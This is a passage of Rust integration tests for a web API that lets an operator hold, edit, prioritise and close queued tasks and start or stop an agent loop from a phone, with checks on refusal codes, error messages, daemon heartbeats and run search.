9029 let mut task = Task::new(
9030 "spent".to_owned(),
9031 "Try again".to_owned(),
9032 PathBuf::from("/repo/magi"),
9033 Source::Human,
9034 );
9035 task.start("20260902-140502-bbbb".to_owned());
9036 task.fail("agent gave up", 9);
9037 queue.put(&mut task).expect("file the task");
9038
9039 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9040 assert_eq!(held.status, 200);
9041 assert_eq!(held.json()["status_str"], "held");
9042
9043 let released = f
9044 .post(&format!("/api/queue/{}/release", task.id), None)
9045 .await;
9046 assert_eq!(released.status, 200);
9047 assert_eq!(released.json()["status_str"], "queued");
9048 assert_eq!(
9049 released.json()["attempts"],
9050 0,
9051 "release is a real second chance, not an instant re-hold"
9052 );
9053 assert_eq!(
9054 queue.get(&task.id).expect("reload").status,
9055 TaskStatus::Queued,
9056 "the change is on disk, not only in the reply"
9057 );
9058 assert!(
9059 !f.home
9060 .path()
9061 .join("queue")
9062 .join(format!("{}.lock", task.id))
9063 .exists(),
9064 "the claim the mutation took is released again"
9065 );
9066 }
9067
9068 #[tokio::test]
9069 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9070 let f = Fixture::start().await;
9071 let queue = f.queue();
9072 let mut task = Task::new(
9073 "busy".to_owned(),
9074 "Running right now".to_owned(),
9075 PathBuf::from("/repo/magi"),
9076 Source::Human,
9077 );
9078 queue.put(&mut task).expect("file the task");
9079 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9080
9081 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9082
9083 assert_eq!(res.status, 409);
9084 assert_eq!(
9085 queue.get(&task.id).expect("reload").status,
9086 TaskStatus::Queued,
9087 "the refused hold changed nothing"
9088 );
9089 }
9090
9091 #[tokio::test]
9092 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9093 let f = Fixture::start().await;
9094 let queue = f.queue();
9095 let mut task = Task::new(
9096 "waiting on the migration".to_owned(),
9097 "Do the thing".to_owned(),
9098 PathBuf::from("/repo/magi"),
9099 Source::Human,
9100 );
9101 queue.put(&mut task).expect("file the task");
9102
9103 let held = f
9104 .post(
9105 &format!("/api/queue/{}/hold", task.id),
9106 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9107 )
9108 .await;
9109 assert_eq!(held.status, 200, "{}", held.body);
9110 assert_eq!(held.json()["status_str"], "held");
9111 assert_eq!(
9112 held.json()["hold_reason"],
9113 "waiting for 20260101-000000-aaaa to land"
9114 );
9115
9116 let listed = f.get("/api/queue").await.json();
9117 assert_eq!(
9118 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9119 "the card reads the reason off the same list route"
9120 );
9121
9122 let mut plain = Task::new(
9125 "no reason given".to_owned(),
9126 "Do another thing".to_owned(),
9127 PathBuf::from("/repo/magi"),
9128 Source::Human,
9129 );
9130 queue.put(&mut plain).expect("file the task");
9131 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9132 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9133 assert!(held_plain.json()["hold_reason"].is_null());
9134
9135 let released = f
9136 .post(&format!("/api/queue/{}/release", task.id), None)
9137 .await;
9138 assert_eq!(released.status, 200);
9139 assert!(
9140 released.json()["hold_reason"].is_null(),
9141 "a release must clear the reason so the next hold does not inherit it"
9142 );
9143 }
9144
9145 #[tokio::test]
9146 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9147 let f = Fixture::start().await;
9148 let queue = f.queue();
9149 let mut older = Task::new(
9150 "filed first".to_owned(),
9151 "x".to_owned(),
9152 PathBuf::from("/repo/magi"),
9153 Source::Human,
9154 );
9155 older.id = "20260101-000001-aaaa".to_owned();
9156 let mut newer = Task::new(
9157 "filed second".to_owned(),
9158 "x".to_owned(),
9159 PathBuf::from("/repo/magi"),
9160 Source::Human,
9161 );
9162 newer.id = "20260101-000002-bbbb".to_owned();
9163 queue.put(&mut older).expect("file older");
9164 queue.put(&mut newer).expect("file newer");
9165
9166 let before = f.get("/api/queue").await.json();
9169 assert_eq!(before[0]["id"], newer.id);
9170 assert_eq!(before[1]["id"], older.id);
9171
9172 let raised = f
9176 .post(
9177 &format!("/api/queue/{}/priority", older.id),
9178 Some(r#"{"priority":10}"#),
9179 )
9180 .await;
9181 assert_eq!(raised.status, 200, "{}", raised.body);
9182 assert_eq!(raised.json()["priority"], 10);
9183
9184 let after = f.get("/api/queue").await.json();
9185 let names: Vec<&str> = after
9186 .as_array()
9187 .unwrap()
9188 .iter()
9189 .map(|t| t["id"].as_str().unwrap())
9190 .collect();
9191 assert_eq!(names[0], older.id, "the raised task now sorts first");
9195 }
9196
9197 #[tokio::test]
9198 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9199 let f = Fixture::start().await;
9200 let queue = f.queue();
9201 let mut task = Task::new(
9202 "in flight".to_owned(),
9203 "x".to_owned(),
9204 PathBuf::from("/repo/magi"),
9205 Source::Human,
9206 );
9207 task.start("20260902-140502-bbbb".to_owned());
9208 queue.put(&mut task).expect("file the task");
9209
9210 let res = f
9211 .post(
9212 &format!("/api/queue/{}/priority", task.id),
9213 Some(r#"{"priority":9}"#),
9214 )
9215 .await;
9216 assert_eq!(res.status, 400, "{}", res.body);
9217 assert!(
9218 res.json()["error"]
9219 .as_str()
9220 .is_some_and(|e| e.contains("running")),
9221 "{}",
9222 res.body
9223 );
9224 assert_eq!(
9225 queue.get(&task.id).expect("reload").priority,
9226 0,
9227 "the refused write must not partially apply"
9228 );
9229 }
9230
9231 #[tokio::test]
9232 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9233 let f = Fixture::start().await;
9234 let queue = f.queue();
9235 let mut task = Task::new(
9236 "old title".to_owned(),
9237 "old instruction".to_owned(),
9238 PathBuf::from("/repo/magi"),
9239 Source::Agent {
9240 run: "20260101-000000-beef".to_owned(),
9241 node: "implement".to_owned(),
9242 },
9243 );
9244 task.runs.push("20260101-000000-beef".to_owned());
9245 queue.put(&mut task).expect("file the task");
9246 let created_at = task.created_at;
9247
9248 let edited = f
9249 .post(
9250 &format!("/api/queue/{}/edit", task.id),
9251 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9252 )
9253 .await;
9254 assert_eq!(edited.status, 200, "{}", edited.body);
9255 let body = edited.json();
9256 assert_eq!(body["title"], "new title");
9257 assert_eq!(body["instruction"], "new instruction");
9258 assert_eq!(body["id"], task.id, "editing must not mint a new id");
9259 assert_eq!(body["created_at"], created_at.to_string());
9260 assert_eq!(
9261 body["source"]["kind"], "agent",
9262 "editing a task an agent filed must not turn it human: {body}"
9263 );
9264 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9265
9266 let reloaded = queue.get(&task.id).expect("reload");
9267 assert_eq!(reloaded.title, "new title");
9268 assert_eq!(reloaded.instruction, "new instruction");
9269 }
9270
9271 #[tokio::test]
9272 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9273 let f = Fixture::start().await;
9274 let queue = f.queue();
9275 let mut owner = Task::new(
9276 "owner".to_owned(),
9277 "review it".to_owned(),
9278 PathBuf::from("/repo/magi"),
9279 Source::Human,
9280 );
9281 owner.review_branch = Some("magi/ab12/A".to_owned());
9282 queue.put(&mut owner).expect("file the owner");
9283 let mut task = Task::new(
9284 "draft".to_owned(),
9285 "old".to_owned(),
9286 PathBuf::from("/repo/magi"),
9287 Source::Human,
9288 );
9289 queue.put(&mut task).expect("file the draft");
9290 let url = format!("/api/queue/{}/edit", task.id);
9291
9292 let refused = f
9293 .post(
9294 &url,
9295 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9296 )
9297 .await;
9298 assert_eq!(refused.status, 409, "{}", refused.body);
9299 let msg = refused.json()["error"]
9300 .as_str()
9301 .unwrap_or_default()
9302 .to_owned();
9303 assert!(
9304 msg.contains("magi/ab12/A") && msg.contains("force"),
9305 "{msg}"
9306 );
9307 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9308
9309 let forced = f
9310 .post(
9311 &url,
9312 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9313 )
9314 .await;
9315 assert_eq!(forced.status, 200, "{}", forced.body);
9316 }
9317
9318 #[tokio::test]
9319 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9320 let f = Fixture::start().await;
9321 let queue = f.queue();
9322 let mut task = Task::new(
9323 "in flight".to_owned(),
9324 "do not touch".to_owned(),
9325 PathBuf::from("/repo/magi"),
9326 Source::Human,
9327 );
9328 task.start("20260902-140502-bbbb".to_owned());
9329 queue.put(&mut task).expect("file the task");
9330
9331 let res = f
9332 .post(
9333 &format!("/api/queue/{}/edit", task.id),
9334 Some(r#"{"title":"x","instruction":"y"}"#),
9335 )
9336 .await;
9337 assert_eq!(res.status, 400, "{}", res.body);
9338 assert!(
9339 res.json()["error"]
9340 .as_str()
9341 .is_some_and(|e| e.contains("running")),
9342 "{}",
9343 res.body
9344 );
9345 assert_eq!(
9346 queue.get(&task.id).expect("reload").instruction,
9347 "do not touch",
9348 "the refused edit must not change the file"
9349 );
9350 }
9351
9352 #[tokio::test]
9353 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
9354 let f = Fixture::start().await;
9355 let queue = f.queue();
9356 let mut task = Task::new(
9357 "busy".to_owned(),
9358 "Running right now".to_owned(),
9359 PathBuf::from("/repo/magi"),
9360 Source::Human,
9361 );
9362 queue.put(&mut task).expect("file the task");
9363 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9364
9365 let priority = f
9366 .post(
9367 &format!("/api/queue/{}/priority", task.id),
9368 Some(r#"{"priority":9}"#),
9369 )
9370 .await;
9371 assert_eq!(priority.status, 409, "{}", priority.body);
9372
9373 let edit = f
9374 .post(
9375 &format!("/api/queue/{}/edit", task.id),
9376 Some(r#"{"title":"x","instruction":"y"}"#),
9377 )
9378 .await;
9379 assert_eq!(edit.status, 409, "{}", edit.body);
9380 }
9381
9382 #[tokio::test]
9383 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
9384 let f = Fixture::start().await;
9385 let queue = f.queue();
9386 let mut task = Task::new(
9387 "shipped by hand".to_owned(),
9388 "merged outside the loop".to_owned(),
9389 PathBuf::from("/repo/magi"),
9390 Source::Agent {
9391 run: "20260101-000000-b455".to_owned(),
9392 node: "implement".to_owned(),
9393 },
9394 );
9395 task.runs.push("20260101-000000-b455".to_owned());
9396 task.runs.push("20260101-000000-9af4".to_owned());
9397 queue.put(&mut task).expect("file the task");
9398 let created_at = task.created_at;
9399
9400 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9401 assert_eq!(done.status, 200, "{}", done.body);
9402 assert_eq!(done.json()["status_str"], "done");
9403
9404 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
9405 assert_eq!(
9406 reloaded.runs,
9407 ["20260101-000000-b455", "20260101-000000-9af4"]
9408 );
9409 assert_eq!(
9410 reloaded.source,
9411 Source::Agent {
9412 run: "20260101-000000-b455".to_owned(),
9413 node: "implement".to_owned(),
9414 }
9415 );
9416 assert_eq!(reloaded.created_at, created_at);
9417 }
9418
9419 #[tokio::test]
9420 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
9421 let f = Fixture::start().await;
9426 let queue = f.queue();
9427 let mut task = Task::new(
9428 "landed while held".to_owned(),
9429 "x".to_owned(),
9430 PathBuf::from("/repo/magi"),
9431 Source::Human,
9432 );
9433 task.hold_manual(Some("waiting on 3ed9".to_owned()));
9434 queue.put(&mut task).expect("file the held task");
9435
9436 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9437 assert_eq!(done.status, 200, "{}", done.body);
9438 assert_eq!(done.json()["status_str"], "done");
9439 assert!(
9440 done.json()["hold_reason"].is_null(),
9441 "a done task cannot still be waiting on something: {}",
9442 done.body
9443 );
9444 }
9445
9446 #[tokio::test]
9447 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
9448 let f = Fixture::start().await;
9453 let queue = f.queue();
9454 let runs = f.runs();
9455 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
9456 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
9460
9461 let mut task = Task::new(
9462 "landed by hand".to_owned(),
9463 "x".to_owned(),
9464 PathBuf::from("/repo/magi"),
9465 Source::Human,
9466 );
9467 task.runs.push("20260101-000000-doa1".to_owned());
9468 task.runs.push("20260101-000000-doa2".to_owned());
9469 queue.put(&mut task).expect("file the task");
9470
9471 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9472 assert_eq!(done.status, 200, "{}", done.body);
9473
9474 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
9475 .expect("run still on disk under this fixture's own home");
9476 assert_eq!(
9477 reloaded_run.status,
9478 RunStatus::Superseded,
9479 "closing the task by hand must relabel the earlier blocked attempt exactly \
9480 like the loop's own settle path does"
9481 );
9482 }
9483
9484 #[tokio::test]
9485 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
9486 let f = Fixture::start().await;
9491 let queue = f.queue();
9492 let runs = f.runs();
9493 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
9494 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
9495
9496 let mut task = Task::new(
9497 "closed with nothing actually landed".to_owned(),
9498 "x".to_owned(),
9499 PathBuf::from("/repo/magi"),
9500 Source::Human,
9501 );
9502 task.runs.push("20260101-000000-dob1".to_owned());
9503 task.runs.push("20260101-000000-dob2".to_owned());
9504 queue.put(&mut task).expect("file the task");
9505
9506 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9507 assert_eq!(done.status, 200, "{}", done.body);
9508
9509 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
9510 .expect("run still on disk under this fixture's own home");
9511 assert_eq!(
9512 reloaded_run.status,
9513 RunStatus::Blocked,
9514 "the last recorded attempt never landed, so the earlier one must not be \
9515 relabelled as superseded by it"
9516 );
9517 }
9518
9519 #[tokio::test]
9520 async fn unknown_ids_are_json_not_found_on_both_stores() {
9521 let f = Fixture::start().await;
9522
9523 let run = f.get("/api/runs/nosuchrun").await;
9524 let task = f.post("/api/queue/nosuchtask/hold", None).await;
9525
9526 assert_eq!(run.status, 404);
9527 assert_eq!(task.status, 404);
9528 assert!(
9529 run.json()["error"]
9530 .as_str()
9531 .is_some_and(|e| e.contains("run")),
9532 "the error names what was not found: {}",
9533 run.body
9534 );
9535 assert!(
9536 task.json()["error"]
9537 .as_str()
9538 .is_some_and(|e| e.contains("task")),
9539 "the error names what was not found: {}",
9540 task.body
9541 );
9542 }
9543
9544 #[tokio::test]
9545 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
9546 let f = Fixture::start().await;
9547
9548 let missing = f.get("/api/health").await.json();
9549 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
9550
9551 write_daemon(
9552 f.home.path(),
9553 Timestamp::now() - jiff::SignedDuration::from_secs(60),
9554 );
9555 let stale = f.get("/api/health").await.json();
9556 assert_eq!(
9557 stale["daemon"]["running"], false,
9558 "a minute without a heartbeat is a dead daemon, not a busy one"
9559 );
9560 assert!(
9561 stale["daemon"]["stale_for_secs"]
9562 .as_i64()
9563 .is_some_and(|s| s >= 55),
9564 "staleness is reported so the UI can say how long: {stale}"
9565 );
9566
9567 write_daemon(f.home.path(), Timestamp::now());
9568 let fresh = f.get("/api/health").await.json();
9569 assert_eq!(fresh["daemon"]["running"], true);
9570 assert_eq!(fresh["daemon"]["idle"], false);
9571 assert_eq!(fresh["daemon"]["pid"], 4242);
9572 assert_eq!(fresh["daemon"]["completed"], 7);
9573 assert_eq!(
9574 fresh["daemon"]["current"][0]["task"],
9575 "20260902-140501-aaaa"
9576 );
9577 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
9578 }
9579
9580 #[tokio::test]
9581 async fn the_loop_is_not_running_until_something_starts_it() {
9582 let f = Fixture::start().await;
9583
9584 let view = f.get("/api/loop").await.json();
9585 assert_eq!(view["running"], false);
9586 assert_eq!(
9587 view["owned"], false,
9588 "nobody owns a loop that does not exist: {view}"
9589 );
9590 assert_eq!(view["stopping"], false);
9591 assert_eq!(view["last_error"], Value::Null);
9592 assert_eq!(view["daemon"]["running"], false);
9593 assert_eq!(
9594 view["repo"], "/repo/magi",
9595 "the repository a start would use, named before it is started"
9596 );
9597 }
9598
9599 #[tokio::test]
9600 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
9601 let f = Fixture::start().await;
9602
9603 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9604 assert_eq!(res.status, 200, "{}", res.body);
9605 let view = res.json();
9606 assert_eq!(view["running"], true);
9607 assert_eq!(
9608 view["owned"], true,
9609 "the loop the UI started is the UI's own to stop: {view}"
9610 );
9611 assert_eq!(
9612 view["merge"],
9613 Value::Null,
9614 "no override was given, so each repository's own config decides"
9615 );
9616
9617 let health = f.get("/api/health").await.json();
9621 assert_eq!(health["loop"]["running"], true, "{health}");
9622 assert_eq!(health["loop"]["owned"], true, "{health}");
9623
9624 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9625 }
9626
9627 #[tokio::test]
9628 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
9629 let f = Fixture::start().await;
9630 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9631 assert_eq!(first.status, 200, "{}", first.body);
9632
9633 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9634 assert_eq!(
9635 again.status, 409,
9636 "two loops on one queue race for the same claims: {}",
9637 again.body
9638 );
9639 assert!(
9640 again.json()["error"]
9641 .as_str()
9642 .is_some_and(|e| e.contains("already running the loop")),
9643 "the refusal has to say why: {}",
9644 again.body
9645 );
9646 assert_eq!(
9647 f.get("/api/loop").await.json()["running"],
9648 true,
9649 "and the loop that was already running is untouched by it"
9650 );
9651
9652 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9653 }
9654
9655 #[tokio::test]
9656 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
9657 let f = Fixture::start().await;
9658 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9659
9660 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9661 assert_eq!(
9662 res.status, 200,
9663 "the answer must not wait for the loop: a run in flight is tens of \
9664 minutes and the operator is holding a phone: {}",
9665 res.body
9666 );
9667
9668 let view = settled(&f, |v| v["running"] == false).await;
9669 assert_eq!(view["owned"], false);
9670 assert_eq!(
9671 view["stopping"], false,
9672 "a loop that has stopped is not still stopping: {view}"
9673 );
9674 assert_eq!(
9675 view["last_error"],
9676 Value::Null,
9677 "a loop that was asked to stop did not fail: {view}"
9678 );
9679
9680 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9683 assert_eq!(twice.status, 200, "{}", twice.body);
9684 }
9685
9686 #[tokio::test]
9687 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
9688 let f = Fixture::start().await;
9689 write_daemon(f.home.path(), Timestamp::now());
9692
9693 let view = f.get("/api/loop").await.json();
9694 assert_eq!(view["running"], false, "not in this process: {view}");
9695 assert_eq!(view["owned"], false, "and not this process's to control");
9696 assert_eq!(
9697 view["daemon"]["running"], true,
9698 "but a loop is alive somewhere, which is what the UI must say"
9699 );
9700 assert_eq!(view["daemon"]["pid"], 4242);
9701
9702 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
9703 let res = f.post("/api/loop", Some(body)).await;
9704 assert_eq!(
9705 res.status, 409,
9706 "neither button may pretend to work on someone else's loop: {}",
9707 res.body
9708 );
9709 assert!(
9710 res.json()["error"]
9711 .as_str()
9712 .is_some_and(|e| e.contains("4242")),
9713 "the refusal has to name the process the operator must go to: {}",
9714 res.body
9715 );
9716 }
9717 assert_eq!(
9718 f.get("/api/loop").await.json()["running"],
9719 false,
9720 "and the refusal started nothing"
9721 );
9722 }
9723
9724 #[tokio::test]
9725 async fn a_stale_status_file_is_not_a_foreign_owner() {
9726 let f = Fixture::start().await;
9727 write_daemon(
9728 f.home.path(),
9729 Timestamp::now() - jiff::SignedDuration::from_secs(60),
9730 );
9731
9732 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9733 assert_eq!(
9734 res.status, 200,
9735 "a daemon killed a minute ago must not lock the loop out of its \
9736 own home for good: {}",
9737 res.body
9738 );
9739 assert_eq!(res.json()["running"], true);
9740
9741 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9742 }
9743
9744 #[tokio::test]
9745 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
9746 let f = Fixture::start().await;
9747 let before = f.get("/api/health").await.json()["loop_rev"]
9748 .as_u64()
9749 .expect("a loop revision");
9750
9751 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9752
9753 let after = f.get("/api/health").await.json()["loop_rev"]
9754 .as_u64()
9755 .expect("a loop revision");
9756 assert!(
9757 after > before,
9758 "the loop is in-process state, so this counter is the only thing \
9759 that tells a second device the first one started it: {before} -> \
9760 {after}"
9761 );
9762
9763 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9764 }
9765
9766 #[tokio::test]
9767 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
9768 let f = Fixture::with_loop(launch_broken).await;
9769
9770 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9771 assert_eq!(
9772 res.status, 200,
9773 "starting it is not the failure: {}",
9774 res.body
9775 );
9776
9777 let view = settled(&f, |v| v["last_error"].is_string()).await;
9778 assert_eq!(
9779 view["running"], false,
9780 "a loop that died must not read as running, or the operator has \
9781 nothing to press: {view}"
9782 );
9783 assert_eq!(view["owned"], false);
9784 assert!(
9785 view["last_error"]
9786 .as_str()
9787 .is_some_and(|e| e.contains("read-only file system")),
9788 "the phone is where a loop that died at 3am is visible: {view}"
9789 );
9790
9791 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9794 assert_eq!(again.status, 200, "{}", again.body);
9795 assert_eq!(
9796 again.json()["last_error"],
9797 Value::Null,
9798 "a fresh start does not keep showing why the last one died"
9799 );
9800 }
9801
9802 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
9814 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
9815 let home = TempDir::new().expect("temp home");
9816 let runs = home.path().join("runs");
9817 std::fs::create_dir_all(&runs).expect("runs dir");
9818 let ui = Ui::new(
9819 Queue::at(home.path().join("queue")),
9820 Questions::at(home.path().join("questions")),
9821 Talks::at(home.path().join("talks")),
9822 runs,
9823 home.path().to_path_buf(),
9824 PathBuf::from("/repo/magi"),
9825 )
9826 .with_worktrees_root(home.path().join("wt"))
9827 .with_launch(launch_knocking_on_the_way_out);
9828 let looping = ui.looping();
9829 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9830 .await
9831 .expect("bind loopback");
9832 let addr = listener.local_addr().expect("local addr");
9833 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
9834 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
9835
9836 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
9837 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
9838
9839 let bound = std::sync::Mutex::new(None);
9854 hand_over(home.path(), &looping, served, |_| {
9855 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
9856 let attempt = loop {
9857 match std::net::TcpListener::bind(addr) {
9858 Ok(l) => {
9859 drop(l);
9860 break Ok(());
9861 }
9862 Err(e)
9863 if e.kind() == std::io::ErrorKind::AddrInUse
9864 && std::time::Instant::now() < deadline =>
9865 {
9866 std::thread::sleep(std::time::Duration::from_millis(10));
9867 }
9868 Err(e) => break Err(e.to_string()),
9869 }
9870 };
9871 *bound.lock().expect("bound") = Some(attempt);
9872 Ok(())
9873 })
9874 .await
9875 .expect("hand over");
9876
9877 assert_eq!(
9878 *PARK_HEARD.lock().expect("park heard"),
9879 Some(200),
9880 "the deck must answer while the loop is parking"
9881 );
9882 let attempt = bound
9883 .lock()
9884 .expect("bound")
9885 .take()
9886 .expect("the successor was started");
9887 assert!(
9888 attempt.is_ok(),
9889 "and the address must be free by the time it is: {attempt:?}"
9890 );
9891 }
9892
9893 #[tokio::test]
9894 async fn a_newer_daemon_status_file_still_renders() {
9895 let f = Fixture::start().await;
9896 std::fs::write(
9899 f.home.path().join("daemon.json"),
9900 serde_json::json!({
9901 "schema": 2,
9902 "updated_at": Timestamp::now().to_string(),
9903 "idle": true,
9904 "surprise": { "nested": [1, 2, 3] },
9905 })
9906 .to_string(),
9907 )
9908 .expect("write daemon.json");
9909
9910 let health = f.get("/api/health").await;
9911
9912 assert_eq!(health.status, 200);
9913 assert_eq!(health.json()["daemon"]["running"], true);
9914 }
9915
9916 #[tokio::test]
9917 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
9918 let f = Fixture::start().await;
9919 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
9920 let broken = f.runs().join("20260902-140502-bad");
9921 std::fs::create_dir_all(&broken).expect("run dir");
9922 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
9923
9924 let list = f.get("/api/runs").await;
9925 let detail = f.get("/api/runs/20260902-140502-bad").await;
9926
9927 assert_eq!(list.status, 200);
9928 let listed = list.json();
9929 let ids: Vec<&str> = listed
9930 .as_array()
9931 .expect("an array")
9932 .iter()
9933 .map(|r| r["id"].as_str().expect("an id"))
9934 .collect();
9935 assert_eq!(
9936 ids,
9937 vec!["20260902-140501-good"],
9938 "one unreadable run must not cost the operator the whole history"
9939 );
9940 assert_eq!(detail.status, 500);
9941 assert!(
9942 detail.json()["error"]
9943 .as_str()
9944 .is_some_and(|e| e.contains("run.json")),
9945 "the failure names the file to look at: {}",
9946 detail.body
9947 );
9948 let health = f.get("/api/health").await;
9952 assert_eq!(health.json()["runs_unreadable"], 1);
9953 }
9954
9955 #[tokio::test]
9957 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
9958 let f = Fixture::start().await;
9959 let runs = f.runs();
9960 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
9961 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
9962 let path = runs.join("20260902-140502-bbbb").join("run.json");
9965 let mut v: serde_json::Value =
9966 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
9967 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
9968 std::fs::write(&path, v.to_string()).unwrap();
9969 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
9970 std::fs::write(
9971 runs.join("20260902-140503-cccc").join("run.json"),
9972 "{ not json",
9973 )
9974 .unwrap();
9975
9976 let res = f.get("/api/search?scope=runs&q=quokka").await;
9977 assert_eq!(res.status, 200, "{}", res.body);
9978 let v = res.json();
9979 assert_eq!(v["total"], 1, "{v}");
9980 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
9981 assert_eq!(v["hits"][0]["field"], "text");
9982 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
9983 let parts = v["hits"][0]["snippet"].as_array().unwrap();
9984 assert!(
9985 parts
9986 .iter()
9987 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
9988 "{v}"
9989 );
9990 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
9991 assert_eq!(
9992 flat, "The Quokka leaks across threads",
9993 "whitespace is collapsed"
9994 );
9995
9996 let both = f
9998 .get("/api/search?scope=runs&q=MOBILE%20quokka")
9999 .await
10000 .json();
10001 assert_eq!(both["total"], 1, "{both}");
10002 let neither = f
10003 .get("/api/search?scope=runs&q=quokka%20zebra")
10004 .await
10005 .json();
10006 assert_eq!(neither["total"], 0, "{neither}");
10007 let stmt = f
10009 .get("/api/search?scope=runs&q=mobile%20first")
10010 .await
10011 .json();
10012 assert_eq!(stmt["total"], 2, "{stmt}");
10013 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10014 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10015 }
10016
10017 #[test]
10018 fn snippet_ignores_terms_longer_than_the_field() {
10019 let terms = ["ok".to_owned(), "elephant".to_owned()];
10020 let parts = snippet_of("ok", &terms);
10021 assert_eq!(
10022 parts,
10023 vec![SnippetPart {
10024 text: "ok".to_owned(),
10025 hit: true
10026 }]
10027 );
10028 }
10029
10030 #[test]
10031 fn snippet_marks_matches_longer_than_the_window() {
10032 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10033 let hit_len = |parts: &[SnippetPart]| -> usize {
10034 parts
10035 .iter()
10036 .filter(|p| p.hit)
10037 .map(|p| p.text.chars().count())
10038 .sum()
10039 };
10040 let total =
10041 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10042
10043 let long = "a".repeat(120);
10044 let parts = snippet_of(&long, std::slice::from_ref(&long));
10045 assert!(hit_len(&parts) > 0, "{parts:?}");
10046 assert!(total(&parts) <= cap);
10047
10048 let ja = "あ".repeat(130);
10049 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10050 assert!(hit_len(&parts) > 0, "{parts:?}");
10051 assert!(total(&parts) <= cap);
10052
10053 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10055 let term = format!("ab{}", "c".repeat(100));
10056 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10057 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10058 assert!(total(&parts) <= cap);
10059
